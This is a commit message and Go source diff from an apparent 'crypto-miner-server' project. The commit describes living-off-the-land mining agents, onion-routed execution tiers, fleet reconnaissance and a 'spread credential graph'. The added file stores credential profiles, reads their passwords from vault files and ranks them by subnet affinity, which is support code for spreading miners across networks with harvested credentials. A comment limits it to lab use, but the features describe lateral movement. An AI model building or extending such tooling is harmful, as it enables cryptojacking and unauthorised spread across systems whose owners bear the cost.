Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/deployment_creds.go

@@ -0,0 +1,113 @@
+package main
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	dbpkg "crypto-miner-server/internal/db"
+)
+
+const deploymentCredsDir = "deployment-creds"
+
+// DeploymentCredProfile is an operator-authorized spread credential (owned/lab infra only).
+// Password material lives in the vault file referenced by VaultRef — never in config.json logs.
+type DeploymentCredProfile struct {
+	ID       string `json:"id"`
+	Label    string `json:"label"`
+	Username string `json:"username"`
+	VaultRef string `json:"vault_ref,omitempty"`
+}
+
+type deploymentCredVault struct {
+	Password string `json:"password"`
+}
+
+// EnsureCredProfileID assigns a stable hash ref when the operator omits id.
+func EnsureCredProfileID(p *DeploymentCredProfile) {
+	if p == nil {
+		return
+	}
+	if strings.TrimSpace(p.ID) != "" {
+		p.ID = strings.TrimSpace(p.ID)
+		return
+	}
+	sum := sha256.Sum256([]byte(strings.TrimSpace(p.Label) + "|" + strings.TrimSpace(p.Username) + "|" + strings.TrimSpace(p.VaultRef)))
+	p.ID = hex.EncodeToString(sum[:8])
+}
+
+func defaultVaultRef(profileID string) string {
+	return filepath.ToSlash(filepath.Join(deploymentCredsDir, profileID+".vault"))
+}
+
+// ResolveCredVaultPath returns the on-disk vault path for a profile (0600 file).
+func (c *Config) ResolveCredVaultPath(p DeploymentCredProfile) string {
+	ref := strings.TrimSpace(p.VaultRef)
+	if ref == "" {
+		ref = defaultVaultRef(p.ID)
+	}
+	ref = filepath.Clean(ref)
+	if strings.HasPrefix(ref, "..") || filepath.IsAbs(ref) {
+		ref = defaultVaultRef(p.ID)
+	}
+	return filepath.Join(c.DataDir, ref)
+}
+
+// LoadDeploymentCredPassword reads the vault secret for an authorized profile.
+func (c *Config) LoadDeploymentCredPassword(profileID string) (username, password string, err error) {
+	if c == nil {
+		return "", "", fmt.Errorf("config unavailable")
+	}
+	profileID = strings.TrimSpace(profileID)
+	for _, p := range c.DeploymentCredentials {
+		if strings.TrimSpace(p.ID) != profileID {
+			continue
+		}
+		path := c.ResolveCredVaultPath(p)
+		data, readErr := os.ReadFile(path)
+		if readErr != nil {
+			return "", "", fmt.Errorf("vault read %s: %w", p.VaultRef, readErr)
+		}
+		var vault deploymentCredVault
+		if unmarshalErr := json.Unmarshal(data, &vault); unmarshalErr != nil {
+			// Allow plain-text vault files (cloudflared-token pattern).
+			vault.Password = strings.TrimSpace(string(data))
+		}
+		pw := strings.TrimSpace(vault.Password)
+		if pw == "" {
+			return "", "", fmt.Errorf("vault empty for profile %s", profileID)
+		}
+		return strings.TrimSpace(p.Username), pw, nil
+	}
+	return "", "", fmt.Errorf("deployment credential profile not found: %s", profileID)
+}
+
+// OrderDeploymentCredProfiles returns profiles with subnet affinity winners first.
+func (c *Config) OrderDeploymentCredProfiles(affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
+	if c == nil || len(c.DeploymentCredentials) == 0 {
+		return nil
+	}
+	seen := make(map[string]bool)
+	var ordered []DeploymentCredProfile
+	for _, row := range affinity {
+		for _, p := range c.DeploymentCredentials {
+			if p.ID == row.CredentialProfileID && !seen[p.ID] {
+				ordered = append(ordered, p)
+				seen[p.ID] = true
+				break
+			}
+		}
+	}
+	for _, p := range c.DeploymentCredentials {
+		EnsureCredProfileID(&p)
+		if !seen[p.ID] {
+			ordered = append(ordered, p)
+			seen[p.ID] = true
+		}
+	}
+	return ordered
+}